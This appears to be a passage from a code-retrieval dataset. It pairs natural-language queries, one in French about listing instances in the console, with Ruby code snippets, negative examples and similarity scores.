a.sort == b.sort\n return true\n end\n end\n \n false\nend", "def got_three(array)\n array.each_with_index do |item, index|\n return true if item == array[index+1] && item == array[index+2]\n end\n false\nend", "def array_equals(array1, array2)\n\n if (array1 == nil && array2 != nil) || (array2 == nil && array1 != nil)\n if_equal = false\n elsif array1 == nil && array2 == nil\n if_equal = true\n elsif array1.length == array2.length && array1[0] == array2[0] && array1[1] == array2[1] && array1[2] == array2[2] && array1[3] == array2[3] && array1[4] == array2[4] && array1[5]==array2[5]\n if_equal = true\n else\n if_equal = false\n end\n\n return if_equal\n # raise NotImplementedError\nend", "def locationsCompare(arr1, arr2)\n if arr2.length == 0\n return false\n elsif arr1.length != arr2.length || arr1 & arr2 != arr1\n return true\n end\n return false\n end", "def array_equals(array1, array2)\n if array1 == array2\n return true\n else\n return false\n end\n\n if array1.hash.length == array2.hash.length\n return true\n elsif array1[0] == array2[0]\n return true\n end\n\nend", "def got_three?(array)\n\noutcome =false\ni = 0\n\tuntil i == array.length\n\t\toutcome = true if array[i] == array[i + 1] && array[i + 1] == array[i + 2]\n\t\ti += 1\n\tend\n\treturn outcome\nend", "def areSimilar(a, b)\n return true if a == b\n\n if a.sort == b.sort\n temp_array = a\n counter = 0\n (0...a.length).each do |i|\n if (a[i] != b[i]) && (counter < 2)\n temp_array[i] = b[i]\n counter += 1\n end\n end\n return true if temp_array == b\n end\n\n return false\n\nend", "def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil && array2 != nil\n return false\n elsif array2 == nil && array1 != nil\n return false\n elsif array1.length == array2.length\n if array1 == array2\n return true\n else\n return false\n end\n else\n return false\n end\nend", "def got_three? (array)\n arr=[]\n(1..array.length-2).each{|x| arr.push(true) if array[x-1]== array[x] && array[x+1]== array[x] }\narr.include?(true)\nend", "def array_equals(array1, array2)\n\n # check if any arrays == nil\n check_nils_arr = [array1, array2]\n no_nil = true\n check_nils_arr.length.times do |index|\n no_nil = false if check_nils_arr[index] == nil\n end\n\n is_same = true\n if no_nil\n if array2.length != array1.length\n is_same = false\n else\n array1.length.times do |index|\n is_same = false if array1[index] != array2[index]\n end\n end\n else #if any array contains nil\n is_same = false if array1 != array2\n end\n\n return is_same\nend", "def got_three?(a) #no idea why thisis not working #wasn't calling the method got_three?\n #iterating over each index and using the .any? method (which returns true as long as the block is not false or nil)\n #so when a[index 1] is the same as index 2 AND index 3, the block is true and the any? method returns true.\n #if not it will return false.\n a.each_index.any? {|i| a[i] == a[i+1] && a[i+1] == a[i+2]}\nend", "def got_three?(array)\n r = []\n r_2 = []\n array.each_cons(2) { |a, b| r << [a, b] }\n r.each_cons (2) {|e1, e2| r_2 << (e1 == e2)}\n r_2.include? true\nend", "def validate_subsequence(arr1, arr2)\n\n arr2.each do |num|\n idx = arr1.index(num)\n return false if idx.nil?\n arr1 = arr1[idx+1..-1]\n end\n\n true\nend", "def array_equals(array1, array2) \n if array1 == nil && array2 == nil\n return true\n elsif (array1 == nil && array2 != nil) || (array2 == nil && array1 != nil) || (array1.length != array2.length)\n return false \n end\n \n return comparison(array1, array2)\n return true\nend", "def same_bsts(array_one, array_two)\n return false if array_one.length != array_two.length\n\n return true if array_one.empty? && array_two.empty?\n\n return false if array_one[0] != array_two[0]\n\n left_one = get_smaller(array_one)\n left_two = get_smaller(array_two)\n right_one = get_bigger_or_equal(array_one)\n right_two = get_bigger_or_equal(array_two)\n\n return same_bsts(left_one, left_two)\n return same_bsts(right_one, right_two)\nend", "def got_three?(array)\n counter = 0\n array.each_index do |i|\n if array[i+1] && array[i] == array[i+1]\n counter +=1\n return true if counter == 2\n else\n counter = 0\n end\n end\n false\nend", "def got_three?(array)\n\tanswer = false\n\tcounter = 0\n\n\twhile counter <= array.length - 1 do \t\t\t\t\t\t\t\t\t\t\n\n\t\tarray.each do |element|\n\t\t\t# element 1\n\t\t\t# counter 1 \n\t\t\tif element == array[counter + 1] && element == array[counter+2]\n\t\t\t\treturn true\n\t\t\tend\n\t\tcounter += 1\n\t\tend\t\n\n\n\tend\t\n\tanswer\nend", "def findDuplicates(array1,array2)\n\n\tduplicate=false\n\t(0..array2.length-1).each do |i|\n\t\tduplicate=array1.include?array2[i]\n\t\tif duplicate\n\t\t\tbreak\n\t\tend\n end\n puts duplicate\nend", "def three_in_row(array)\n for i in (0...array.length)\n if array[i]==array[i+1] && array[i]== array[i+2]\n return true\n end\n end\n return false\nend", "def all_eql?(arr)\n arr.each_cons(2).all? { |x, y| x == y }\n end", "def array_equals(array1, array2)\n and_array = array1 && array2\n\n if and_array == array1 && and_array == array2\n return true\n\n else\n return false\n end\nend", "def common_elements(a, b)\n # 1) use two pointer for each array\n ptr_a = 0\n ptr_b = 0\n common = []\n\n # 2) loop through one array\n while ptr_a < a.length && ptr_b < b.length\n # 3) if two pointer point same number,\n # save the number and increment pointers\n if a[ptr_a] == b[ptr_b]\n common << a[ptr_a]\n ptr_a += 1\n ptr_b += 1\n # 4) othwerwise, increment the pointer which points the lower number\n elsif a[ptr_a] > b[ptr_b]\n ptr_b += 1\n else\n ptr_a += 1\n end\n end\n\n return common\nend", "def same_or_dif? card_arr\n card_arr.uniq.size != 2\nend", "def okay_two_sum?(arr, target)\n\n arr.each do |ele1| # O(n)\n # debugger\n found = arr.bsearch do |ele2|\n # debugger\n (target - ele1) == ele2\n end\n return true unless found.nil? || arr.index(found) == arr.index(ele1)\n end\n false\nend", "def array_diff(a,b)\n box = []\n i = 0\n while i < a.length\n if a[i] == b [i]\n puts true\n else\n puts false\n box << a[i]\n end\n i += 1\n end\n i += 1\n return p box\nend", "def assert_same_elements(array1, array2, *args)\n converter = proc do |array|\n {}.tap do |hash|\n array.each do |key|\n if hash.key?(key)\n key = [key] until !hash.key?(key)\n end\n hash[key] = true\n end\n end\n end\n\n condition = converter[array1] == converter[array2]\n assert condition,\n \"#{array1.inspect} << EXPECTED NOT SAME AS ACTUAL >> #{array2.inspect}\",\n *args\n end", "def okay_two_sum?(arr,target)\n arr = arr.sort\n arr.each_with_index do |el,i|\n difference = target - el\n dup = arr.dup\n dup.delete_at(i)\n return true if dup.binary_search(difference)\n end\n false\n\nend", "def got_three?(array)\n\tcontrol_point = false\n\tfor i in 0..array.length-3\n\t\tif array[i] == array[i+1] && array[i] == array[i+2]\n\t\t\tcontrol_point = true\n\t\tend\n\tend\n\tcontrol_point\nend", "def deep_equals?(arr1, arr2)\n return false if arr1.length != arr2.length\n\n arr1.each_with_index do |x, i|\n return false if x.instance_of?(Array) && !deep_equals?(x, arr2[i])\n return false if x != arr2[i]\n end\n\n true\nend", "def got_three?(input)\n result = false\n input.each_index do |i|\n result = input[i] == input[i + 1] && input[i + 1] == input[i + 2]\n break if result\n end\n result\nend", "def got_three? array\n\tarray.each_cons(3){ |x| return true if x.all?{|y| y==x[0]} }\n\tfalse\nend", "def different?(ary_a, ary_b)\n ((ary_a | ary_b) - (ary_a & ary_b)).size > 0\n end", "def match_maker(a, *b)\n\tarray = (0...b.count).to_a\n\tnew_array = []\n\tanswer = []\n\tarray.each_slice(2){ |i| new_array << i }\n\t\nif a == false\n\tnew_array.each { |i| \n\t\tb[i[0]], b[i[1]] = !!b[i[0]], !!b[i[1]]\n\t\tb[i[0]] == b[i[1]] ? answer << true : answer << false }\n\nelsif a == true\n\tnew_array.each { |i|\t\t\n\t\tb[i[0]], b[i[1]] = !!b[i[0]], !!b[i[1]]\n\t\tb[i[0]] != b[i[1]] ? answer << true : answer << false }\nelse\nend\nanswer\nend", "def no_consecutive_repeats?(arr)\n arr.each_with_index do |ele, i|\n if arr[i] == arr[i + 1]\n return false\n end\n end\n\n true\nend", "def check_for_inconsistency(elements)\n elements.any?{|e| e != elements.first}\n end", "def matches_in_place(a, b)\n a.map.with_index{|e,i| e == b[i]}\nend", "def got_three?(ary)\n ans = false\n for i in 0..(ary.size - 3) do\n if ary[i] == ary[i + 1] && ary[i] == ary[i + 2]\n ans = true\n end\n end\n ans\nend", "def okay_two_sum?(arr, target)\n small = arr.select {|el| el < target}\n small.each_with_index do |e, i|\n sub_el = target - e \n # arr.delete(sub_el)\n return true if small.include?(sub_el) && small[i] != sub_el\n \n end\n false \n \n \nend", "def got_three?(array)\n\tarray.each_with_index do |item, i|\n\t\tnext_item = array[i+1]\n\t\tnext_next_item = array[i+2]\n\t\treturn true if item == next_item && item == next_next_item\n\tend\n\tfalse\nend", "def same_bsts(array_one, array_two)\n return are_same_bsts(array_one, array_two, 0, 0, Float::INFINITY, -Float::INFINITY)\nend", "def no_consecutive_repeats?(arr)\n arr.each_with_index do |ele, i|\n if ele == arr[i + 1]\n return false \n end\n end\n true \nend", "def no_consecutive_repeats?(arr)\n (0...arr.length-1).each do |idx|\n # if arr[idx] == arr[idx + 1]\n # return false\n # end\n return false if arr[idx] == arr[idx + 1]\n end\n\n true\nend", "def array_diff(a,b)\n counter = 0\n \n loop do\n break if b[counter] == nil\n \n a.each do |num|\n if num == b[counter]\n a.delete(num)\n else\n next\n end\n end\n \n counter += 1\n end\n \n a\n \nend", "def no_consecutive_repeats?(array)\n array.each_with_index do |ele, idx|\n if idx != array[-1] && ele == array[idx + 1]\n return false\n end\n end\n true\nend", "def element_duplicates?(elem, array)\r\n first_occurrence = array.index(elem)\r\n last_occurrence = array.rindex(elem)\r\n first_occurrence != last_occurrence\r\n end", "def comp(array1, array2)\n return false if (array1+array2).any? {|x| x == nil }\n array1.delete(nil)\n squares = array1.map { |num| num*num }\n squares.uniq.sort == array2.uniq.sort\nend" ]
[ "0.7975948", "0.7801589", "0.77483207", "0.7737447", "0.7716095", "0.7706585", "0.7691893", "0.7682293", "0.7671912", "0.76610506", "0.76453143", "0.7636368", "0.76261395", "0.7590233", "0.7588021", "0.7557551", "0.7545909", "0.75346357", "0.7530717", "0.7524936", "0.75050384", "0.7474775", "0.7472463", "0.74679065", "0.74639976", "0.7433796", "0.74284524", "0.742752", "0.7422477", "0.7401059", "0.73945934", "0.7387651", "0.73271674", "0.7324739", "0.73221904", "0.73217577", "0.73217577", "0.73217577", "0.73217577", "0.73217577", "0.73217577", "0.7317766", "0.72794455", "0.72621393", "0.7254478", "0.7215733", "0.7206108", "0.7191641", "0.71800613", "0.71585184", "0.71271217", "0.7114251", "0.7075498", "0.706204", "0.7053552", "0.70345753", "0.70130366", "0.70084995", "0.6993018", "0.6961678", "0.696015", "0.6958333", "0.6900217", "0.6895833", "0.6891216", "0.68847966", "0.6870587", "0.68444556", "0.6839829", "0.68231714", "0.68189245", "0.6794938", "0.67427254", "0.6741719", "0.6733969", "0.6720731", "0.6708034", "0.66846347", "0.6661105", "0.6648757", "0.66466373", "0.6644495", "0.6641783", "0.6635973", "0.6632572", "0.66230583", "0.66040885", "0.6602714", "0.6589527", "0.6583467", "0.6582117", "0.65800273", "0.6560481", "0.6557931", "0.65529937", "0.65438026", "0.65419626", "0.65399855", "0.6537182", "0.65151143" ]
0.72528565
45
Affiche en console la liste des instances
def show_list clear puts "= LISTE DES INSTANCES #{name} =".bleu puts "\n\n" len_delim = defined?(LIST_ENTETE) ? LIST_ENTETE.length + 2 : 80 delim = ("-"*len_delim).bleu if defined?(LIST_ENTETE) puts delim puts LIST_ENTETE end puts delim all.each do |inst| puts " #{inst.to_console}" end puts delim puts "\n\n" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_of_instances\n super\n end", "def instances; end", "def instances; end", "def instances\n end", "def print_instances_details(only_running=true)\n @groups.values.each_with_index do |instances, i|\n instances.each do |instance|\n if only_running and (not instance.ready?)\n next\n end\n puts sprintf \"%02d: %-20s %-20s %-20s %-20s %-25s %-20s (%s) (%s) (%s)\",\n i, (instance.tags[\"Name\"] || \"\").green,instance.private_dns_name ,instance.id.red, instance.flavor_id.cyan,\n instance.dns_name.blue, instance.availability_zone.magenta, (instance.tags[\"role\"] || \"\").yellow,\n (instance.tags[\"group\"] || \"\").yellow, (instance.tags[\"app\"] || \"\").green\n end\n end\n end", "def instances\n Egi::Fedcloud::Vmhound::Log.info \"[#{self.class}] Retrieving active instances\"\n fetch_instances\n end", "def instances\n @instances ||= []\n end", "def get_instances_description\n instances\n end", "def command_showAll\n entries = @log.get_entries()\n entries.each { |i|\n puts i.to_s\n }\n end", "def index\n @instances = Instance.all\n end", "def index\n @instances = Instance.all\n end", "def list_course_instances\n CourseInstance.find_each do |course_instance|\n puts \" [%03d] % 15s % 4s-%d % 15s\" % [ course_instance.id, course_instance.abstract_course.code, course_instance.period.symbol, course_instance.length, course_instance.period.name(@locale) ]\n end\n end", "def active_instances; end", "def instances\n instances = []\n JSON.parse(resource['/instances'].get)[\"instances\"].each do |i|\n instances << Instance.new(i)\n end\n return instances\n end", "def showlist\n\t\t@people_list.each do |x|\n\t\t\tputs \"* #{capitalize(x.type)}, #{capitalize(x.name)}, #{capitalize(x.party)}\"\n\t\tend\n\tend", "def instances(type)\n @instances[type]\n end", "def disp_clients\n @clients.each do |client|\n puts \"Name: #{client.name}\"\n puts \"Age: #{client.age}\"\n end\n end", "def aws_dump_instances( fout = $stdout )\n fout.puts '['\n rows = @aws_instances.sort { |p,n| p[:name] <=> n[:name] }\n rows.each_with_index do |row, i|\n fout.puts( \" \" + JSON.generate( row, :space => ' ', :object_nl => ' ' ) +\n ( ( i == ( rows.length - 1 ) ) ? '' : ',' ) )\n end\n fout.puts ']'\n end", "def instances()\n return @instances\n end", "def active_instances\n Egi::Fedcloud::Vmhound::Log.info \"[#{self.class}] Retrieving running instances\"\n fetch_instances ['ACTIVE']\n end", "def list\n all.each { |device| puts(device.pretty_name) }\n end", "def list\n @manage_sieve.print_scripts\n end", "def list_pokemon\n puts \"\"\n puts \"See below for the list of the original Pokemon!\"\n puts \"\"\n @pokemon_objects.each.with_index(1) do |a, i|\n puts \"#{i}. #{a.name}\"\n end\n puts \"\"\n end", "def list_instances(an_array)\n SystemRepository.__list_instances(an_array)\n end", "def get_docker_instance_list(options)\n message = \"Information:\\tListing docker images\"\n command = \"docker ps\"\n output = execute_command(options,message,command)\n instances = output.split(/\\n/)\n return instances\nend", "def instances_status\n @instances.each do |i_id, meta|\n status = AWS::CLI_Interface.ec2_instance_status(i_id)\n output = \"#{meta['name']} (#{i_id})\".colorize(color: :white, background: :blue) +\n \" : \".colorize(:yellow) +\n \"#{status[:label]}\".colorize(color: :white, background: status[:color])\n\n if meta.has_key? 'timeout'\n output += \" : \".colorize(:yellow)\n output += \"Timeout: #{meta['timeout']}\".colorize(color: :black, background: :light_yellow)\n end\n\n Logging.log output\n end\n end", "def list_of_instances(keyp=nil)\n tmp_key = (keyp ? keyp : nil)\n \n unless @describe_instances\n tmpInstanceList = remote_base.describe_instances(options).select {|a| a if (tmp_key.nil? || tmp_key.empty? ? true : a[:keypair] == tmp_key) }\n has_master = !tmpInstanceList.select {|a| a[:name] == \"master\" }.empty? \n if has_master\n @describe_instances = tmpInstanceList\n else\n @id = 0\n running = select_from_instances_on_status(/running/, tmpInstanceList)\n pending = select_from_instances_on_status(/pending/, tmpInstanceList)\n terminated = select_from_instances_on_status(/shutting/, tmpInstanceList)\n \n running = running.map do |inst|\n inst[:name] = (@id == 0 ? \"master\" : \"node#{@id}\")\n @id += 1\n inst\n end.sort_by {|a| a[:index] }\n \n @describe_instances = [running, pending, terminated].flatten\n end\n end\n @describe_instances\n end", "def instance_list(next_token=nil)\n self.ec2_client.describe_instances(\n {\n filters: [\n {\n name: \"tag:Branch\",\n values: [\"*\"],\n },\n {\n name: \"instance-state-name\",\n values: [\"running\"],\n }\n ],\n next_token: next_token\n })\n end", "def list_models\n\t@models.each do |model|\n\t\tputs \"#{@models.index(model)}: #{model}\"\n\tend\nend", "def list_instances_detail()\n response = dbreq(\"GET\", dbmgmthost, \"#{dbmgmtpath}/instances/detail\", dbmgmtport, dbmgmtscheme)\n CloudDB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n instances = CloudDB.symbolize_keys(JSON.parse(response.body)[\"instances\"])\n return instances\n end", "def instances\n @controller.instance_variable_get(:\"@#{plural_instance_name}\")\n end", "def list \n @people.each_with_index do |a,i|\n puts \"Entry \" + (i+1).to_s + \": \" + a.fullname\n end\n end", "def show_tasks\n\t\tputs \"here are the tasks on the #{self.name} list...\"\n\t\t@tasks.map.with_index {|task, i| puts \"#{i.next}. \" + task.description + \" | complete: \" + task.status.to_s}\n\t\tputs \"\\n\"\n\tend", "def list(print=true)\n list = @agents.each_with_index.map do |a, i|\n \" \\033[33m# #{i}\\033[0m\\t#{a.name}\"\n end\n result = list.join(\"\\n\")\n puts result if print && !result.empty?\n result\n end", "def instances_list\n return [] unless configured?\n\n @service.fetch_all do |token|\n @service.list_instances(@gcp_config['project'], @gcp_config['zone'], page_token: token)\n end.map(&:name)\n end", "def list\n self.class.list\n end", "def instances\n @instances ||= init_instances.reject(&:terminated?)\n end", "def client_list\n @clients.each do |item|\n puts \"List of clients:\"\n puts \"----------------------------------------------\"\n puts item.name\n end\n end", "def existing_instances(filter=\"\")\r\n instances_raw = `ps xao pid,pgid,command | grep '#{process_name} #{name_grep_string} #{filter}' | grep -iv #{Process.pid} | awk '{print $1 \"\\t\" $2 \"\\t\" $3}'`\r\n instances_raw.split(\"\\n\").map do |row|\r\n pid, group, command = row.split(\"\\t\")\r\n ProcessInfo.new(pid.to_i, group.to_i, command)\r\n end\r\n end", "def show_all_entries()\n\n puts @title\n\n @entries.each do |entry|\n puts entry\n end\n\n end", "def list_heroes\n puts \"\\n---***------ HEROES ------***---\".colorize(:yellow)\n @heroes = Hero.all\n Hero.all.each do |hero|\n print \" --- \".colorize(:magenta)\n puts \"#{hero.name}\".colorize(:white)\n end\n menu\n end", "def show!\n puts 'Current Hosts:'\n @plataforms.each do |key, plataform|\n puts plataform.toString\n end\n end", "def display_all_clients\n clients.each_with_index do |client, index|\n puts \"Client ##{index + 1}. #{client.name.capitalize}\"\n end\n end", "def instance_docs(type)\n docs = \"\"\n\n # Load all instances.\n instance_loader(type).loadall\n\n # Use this method so they all get loaded\n loaded_instances(type).sort { |a,b| a.to_s <=> b.to_s }.each do |name|\n mod = self.loaded_instance(name)\n docs += \"#{name}\\n#{\"-\" * name.to_s.length}\\n\"\n\n docs += Puppet::Util::Docs.scrub(mod.doc) + \"\\n\\n\"\n end\n\n docs\n end", "def list_animals \n puts \"Here are the current animals in shelter: \"\n @animals_in_shelter.each do |animal|\n puts animal.get_animal_info\n end\n end", "def list_current\ncount = 0\n\t@beans.each do |i|\n\t\tputs \"Item #{count +1}:\"\n\t\ti.list \n\t\tcount += 1\n\tend\nend", "def show_all_patrons\n\t\tputs \"\\nAll Patrons\\n\"\n\t\tPatron.all.each do |patron|\n\t\t\tputs \"#{patron.id} #{patron.name}\"\n\t\tend\nend", "def list_of_node_names(options={})\n list_of_running_instances.collect {|ri| ri.name }\n end", "def show_members\n @members.each do |member, amt|\n puts member\n end\n @members\n end", "def show\n puts \"******* show *******\"\n end", "def print_list; end", "def all_instances\n all_instances_de_hijos + tabla.entries.map { |entrada| generar_instancia(entrada) }\n end", "def list\n puts \"\\n\\n#{Job.count} job postings found\\n\\n\"\n Job.list.map do |job|\n puts \"#{job.id}. #{job.firstline}\"\n end\n puts menu\n end", "def list\n end", "def list\n end", "def list\n end", "def list_instances()\n response = dbreq(\"GET\", dbmgmthost, \"#{dbmgmtpath}/instances\", dbmgmtport, dbmgmtscheme)\n CloudDB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n instances = CloudDB.symbolize_keys(JSON.parse(response.body)[\"instances\"])\n return instances\n end", "def list\n\n end", "def list\n\nputs \"------------------------------------------------\nThis is the list of voters created:\"\nPolitician.list_politician\nPerson.list_people\nmain_menu\nend", "def instances\n IbmCloudRest.get \"#{@uri}/instances\"\n end", "def index\n @commands = Command.find(:all)\n display @commands\n end", "def add_new_instances(count)\n Output.new(current_instances + parent.create_instances(count), []) \n end", "def show\n @displays = Display.all\n @names=[]\n @displays.each do |display|\n @names.push display.name\n end\n end", "def print_results\r\n @cordinators.each do |c|\r\n print c.klass.to_s.ljust(25, ' ')\r\n c.print_stats\r\n end\r\n end", "def list_object(options, list)\n vcenter_host = list.keys[0]\n list = cli_format(list.values.first)\n table = format_list\n\n show_header(vcenter_host)\n\n table.show(list, options)\n end", "def get_instances\n all_instances = Array.new()\n @groups.values.each do |instances|\n instances.each do |instance|\n all_instances << instance\n end\n end\n all_instances\n end", "def set_instances\n @instances =\n case @klass\n when Symbol\n Symbol.all_symbols.sort_by do |s| s.to_s end\n else\n ObjectSpace.to_enum(:each_object, @klass).sort_by{|i| i.object_id}\n end\n end", "def print_podcast_list\n \tPodcast.all.each.with_index(1) do |podcast, i|\n \t\tputs \"#{i}. #{podcast.title} - #{podcast.host}\"\n \t\tsleep(0.2)\n \tend\n end", "def show_games\n puts Rainbow(\"------------------------------\").red\n puts MyCliProject::Game.all.last.description\n puts Rainbow(\"------------------------------\").red\n continue_or_exit\n end", "def instances #:nodoc:\n r = []\n ObjectSpace.each_object(self) { |mod| r << mod }\n r\n end", "def show\n @robot_instance_sessions = @robot_instance.robot_instance_sessions.order(start_session: :desc)\n end", "def list_cars\n puts \"===================================================================\"\n Car.print_all\n puts \"===================================================================\"\n puts \"\\nEnter a number and press 'enter' to pick the desired vehicle.\" \n puts \"Type 'exit' to quit.\"\n puts \"\\nTo see the cheapest car type 'cheap'.\"\n end", "def list_instances()\n response = dbreq(\"GET\",lbmgmthost,\"#{lbmgmtpath}/instances\",lbmgmtport,lbmgmtscheme)\n CloudDB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n instances = CloudDB.symbolize_keys(JSON.parse(response.body)[\"instances\"])\n return instances\n end", "def show_list\n process_show_list\n end", "def describe_instances( options = {} )\n options = { :instance_id => [] }.merge(options)\n params = pathlist(\"InstanceId\", options[:instance_id])\n return response_generator(:action => \"DescribeInstances\", :params => params)\n end", "def list\n puts @pm\nend", "def list\n puts \"Events for Tech:\"\n puts \"\"\n TechCliApp::Tech.all.each.with_index(1) do |tech, i|\n puts \"#{i}. #{tech.title}\"\n end\n end", "def cmd_list pattern = '.'\n puts \"Following mnemo's #{pattern && \"matching regexp /#{pattern}/\"} are present\"\n puts\n references_by_pattern(pattern).each do |reference|\n puts (\" \" * 4) + reference\n end\n\n puts\n puts \"Done ..\"\n end", "def show\n initLists\n end", "def list\n call! :list\n end", "def show_object(args)\n class_name = args[0]\n next_method_to_call = args[1]\n puts class_name.all\n call_method(next_method_to_call)\n end", "def list_command\n age = get_param(\"age\\=\", \"(\\d+)\")\n type = get_param(\"type\\=\", \"([a-zA-Z]+)\")\n\n @app.list_animals(age, type)\n end", "def available_instances\n @available_instances ||= {}\n end", "def list_instances token: nil\n execute do\n instances.list_instances(\n project_path,\n page_token: token\n )\n end\n end", "def active_instances\n Instance.running_for_laboratory(self)\n end", "def list\n @@list\n end", "def display_list_of_drinks\n #Access all the drinks\n #print each one out\n Drink.all.each.with_index(1) do |drink, index| #call class method in the drink class that is keeping track of all drinks\n puts \"#{index}. #{drink.name}\" #print out name attribute otherwise you'll get the object id\n\n end \nend", "def listBooks\n # not sure how we go from Book class to books array, so this method does not work, \n # because there is no books array.\n # http://stackoverflow.com/questions/14532844/ruby-array-of-objects-classes\n # books = [@bookname]\n # Book.all_instances\n books.each do |book|\n puts book\n end\n end", "def loaded_instances(type)\n @instances[type].keys\n end", "def display_planet_list\n puts \"Here are the current planets in our solar system:\"\n @all_planets.each do |planet_info|\n puts planet_info.name\n end\n end", "def list\n Airplay.devices.each do |device|\n puts <<-EOS.gsub(/^\\s{12}/,'')\n * #{device.name} (#{device.info.model} running #{device.info.os_version})\n ip: #{device.ip}\n mac: #{device.id}\n password?: #{device.password? ? \"yes\" : \"no\"}\n type: #{device.type}\n resolution: #{device.info.resolution}\n\n EOS\n end\n end", "def list_instances token: nil\n instances.list_instances parent: project_path, page_token: token\n end", "def describe_all_instances\n @os_aws.describe_all_instances\n end", "def get_instances\n instances_count = gets.to_i\n raise InputFormatError.new(INSTANCES_COUNT_EXPECTED) if instances_count < 1\n\n instance_list = []\n\n 1.upto(instances_count) { |i|\n raise InputFormatError.new(BLANK_EXPECTED) if gets.chomp != ''\n\n m = gets.to_i\n instance = Instance.new(m)\n\n until (line = gets.chomp.split(\" \")) == [\"0\",\"0\"]\n instance.add_segment(Segment.new(line[0].to_i, line[1].to_i))\n end\n instance_list << instance\n }\n return instance_list\n end", "def command_show(date = Date.today)\n entries = @log.get_entries(date)\n if entries != nil\n entries.each { |i|\n puts i.to_s\n }\n end\n end", "def show_players\n\t\tputs @human_player.show_state\n\t\tputs \"Il reste #{@enemies.length} ennemies !\"\n\tend", "def print_players()\n\t\tfor i in 0...@num_players\n\t\t\tprint_player(i)\n\t\tend\n\tend", "def classes\n @title = 'Puppet Class Listing A-Z'\n @objects_by_letter = objects_by_letter(:puppet_class)\n erb(:objects)\nend", "def list_stats\r\n puts \"#{@name} Stats:\"\r\n puts \"Total HP: #{@hp}\"\r\n puts \"Class: #{@job}\"\r\n puts \"Total Strength: #{@strength}\"\r\n puts \"Total Speed: #{@speed}\"\r\n end", "def list\n\nputs \"\nThis is the list of citizens created:\"\nPolitician.list_politician\nPerson.list_people\n\nend" ]
[ "0.7148263", "0.691316", "0.691316", "0.68694407", "0.68495244", "0.68187", "0.67520285", "0.6622422", "0.64641416", "0.6419328", "0.6419328", "0.6409997", "0.63860893", "0.6375767", "0.6326579", "0.62862766", "0.62723833", "0.6269662", "0.6263259", "0.6246511", "0.6237165", "0.6224163", "0.620981", "0.6197885", "0.61711144", "0.61628133", "0.6143976", "0.61285", "0.6128493", "0.6122803", "0.6105331", "0.60852534", "0.6056704", "0.6050755", "0.60480595", "0.60459834", "0.60347", "0.6031951", "0.5986763", "0.59815174", "0.59716237", "0.5962852", "0.5952389", "0.59221977", "0.59209603", "0.59175384", "0.5916519", "0.591111", "0.59032166", "0.5902943", "0.5889693", "0.58844507", "0.5875819", "0.585922", "0.585922", "0.585922", "0.5850498", "0.5848809", "0.58378565", "0.5834881", "0.58285725", "0.58251923", "0.5818165", "0.581184", "0.58113104", "0.58090144", "0.5803089", "0.5802906", "0.57985973", "0.5787922", "0.57878166", "0.57757545", "0.57719314", "0.57671326", "0.57606083", "0.5759211", "0.573984", "0.572337", "0.5719953", "0.57172424", "0.5716309", "0.5716093", "0.57157475", "0.5701474", "0.5699512", "0.5693174", "0.5687195", "0.5679583", "0.56790894", "0.56715405", "0.56712824", "0.5667723", "0.56660247", "0.5664746", "0.56542397", "0.56447536", "0.5644454", "0.56396997", "0.56354713", "0.5619792" ]
0.7773426
0
If the config is the same an environment we can truncate some values production_production is superflous in ids and such
def default_config? configuration == environment end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def normalize_config(untrasted_config)\n untrasted_config.each do |env, config|\n raise MissingConfiguration, \"CassandraModel config is broken, a '#{ENV['RACK_ENV']}' missing 'server' option\" \\\n unless config.keys.include?('server')\n server = config['server']\n\n if server.is_a?(String)\n # Strip surrounding brackets, in case Ops put a YAML array into an input value\n if server.start_with?('[') && server.end_with?(']')\n server = server[1..-2]\n end\n\n # Transform comma-separated host lists into an Array\n if server =~ /,/\n server = server.split(/\\s*,\\s*/)\n end\n end\n\n config['server'] = server\n\n config\n end\n end", "def normalize_config(config)\n Build::Matrix::ENV_KEYS.inject(config.to_hash.deep_symbolize_keys) do |config, key|\n config[key] = config[key].values if config[key].is_a?(Hash)\n config\n end\n end", "def clean_staging\n staging_config_file = '_config.staging.yml'\n File.delete staging_config_file if File.exists? staging_config_file\nend", "def delete_old_asg config, launch_config_name\n auto_scaling = new_auto_scaling\n auto_scaling.groups.each do |group|\n server = tag_value(group.tags, \"server\")\n if server != config[\"server\"]\n next \n end\n\n env = tag_value(group.tags, \"env\")\n if env != config[\"env\"]\n next \n end\n\n if group.name != launch_config_name.name\n puts \"deleting instance group, #{group.name} => #{launch_config_name.name}\"\n delete_asg group.name\n end\n end\nend", "def do_before_destroy\n if id == calmapp_version.translators_redis_database_id\n calmapp_version.update_columns(:translators_redis_database_id => nil)\n end\n if id == calmapp_version.production_redis_database_id\n calmapp_version.update_columns(:production_redis_database_id => nil)\n end\n #calmapp_version.translators_redis_database = nil\n #calmapp_version.production_redis_database\n \n end", "def clear_if_config_changed(config); end", "def munge_config_xml\n get_config_changes\n xml_base.xpath(\"//Component[contains(@FQDD, 'NIC.') or contains(@FQDD, 'FC.')]\").remove unless @changes['whole'].find_all{|k,v| k =~ /^(NIC|FC)\\./}.empty?\n xml_base['ServiceTag'] = @resource[:servicetag]\n\n handle_missing_devices(xml_base, @changes)\n @nonraid_to_raid = false\n\n if embedded_sata_change\n Puppet.debug(\"Embedded Mode Change detected running with RAID teardown only\")\n @changes.deep_merge!(get_raid_config_changes(xml_base, raid_reset=true))\n else\n @changes.deep_merge!(get_raid_config_changes(xml_base)) if attempt == 0\n end\n\n %w(BiosBootSeq HddSeq).each do |attr|\n existing_attr_val = find_current_boot_attribute(attr.downcase.to_sym)\n requested_val = @changes['partial']['BIOS.Setup.1-1'][attr]\n message = \"Attribute: %s, Existing value: %s, Requested value: %s\" % [attr, existing_attr_val, requested_val]\n Puppet.debug(message)\n if existing_attr_val && requested_val\n seq_diff = requested_val.delete(' ').split(',').zip(existing_attr_val.delete(' ').split(',')).select{|new_val, exist_val| new_val != exist_val}\n #If tearing down, the HDD will already be removed from the boot sequence\n if seq_diff.size ==0 || @resource[:ensure] == :teardown\n @changes['partial']['BIOS.Setup.1-1'].delete(attr)\n end\n end\n end\n\n # If we are tearing down and there are nonraid volumes, we need to make them raid volumes to\n # be able to boot from this controller again\n nonraid_disks = 